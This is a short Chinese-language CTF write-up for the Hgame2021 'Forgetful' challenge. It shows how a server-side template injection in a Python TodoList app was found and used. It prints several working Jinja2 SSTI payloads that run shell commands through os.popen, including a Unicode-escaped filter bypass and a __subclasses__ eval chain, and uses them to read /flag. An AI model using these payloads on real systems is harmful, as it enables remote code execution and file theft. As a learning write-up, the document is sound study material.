Hgame2021-week3-Forgetful
Forgetful
记录一下学习过程:
1.题目:Liki 总是忘记很多事情,于是她灵机一动,用新学会的 Python 写了一个 TodoList,快用起来吧!
2.过程:
页面有一个记录的功能,可以记录一些事项:
查看后发现7*7被执行了,存在SSTI……
跟着步骤实验:
看到了许多类名:
__class__ 返回type类型,查看对象的类型
__bases__ 返回tuple类型,列出该类的基类
_mro_\ 返回tuple类型,给出解析方法调用的顺序
_subclasses_\() 返回内建方法builtin_function_or_method,获取一个类的子类
__globals__ 返回dict类型,对函数进行操作,获取当前空间下能使用的模块、方法、变量
那怎么从这么多的类中找到一个包含我们需要模块的一个类呢,用脚本吗……
我随手登录的账号已经有了一位老哥的操作:
查了一下:
是一个方法,从中可以直接调用os执行命令……tql安洵杯2020 官方Writeup:
1 | {%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))|attr(%22\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f%22)(%22os%22)|attr(%22popen%22)(%22whoami%22)|attr(%22read%22)()%} |
=》
1 | {%print(lipsum|attr("__globals__"))|attr("__getitem__")("os")|attr("popen")("whoami")|attr("read")()%} |
这里的print
绕过{{}}
和attr
绕过.
,Unicode应该是绕过一些字符过滤。
利用这个方法去读:
学长是用base64去读的:
1 | {{lipsum.__globals__['os'].popen('base64 /flag').read()}} |
这样就可以读取了:
1 | {{''.__class__.__base__.__subclasses__()[165].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("base64 /flag").read()')}} |
也ok
Hgame2021-week3-Forgetful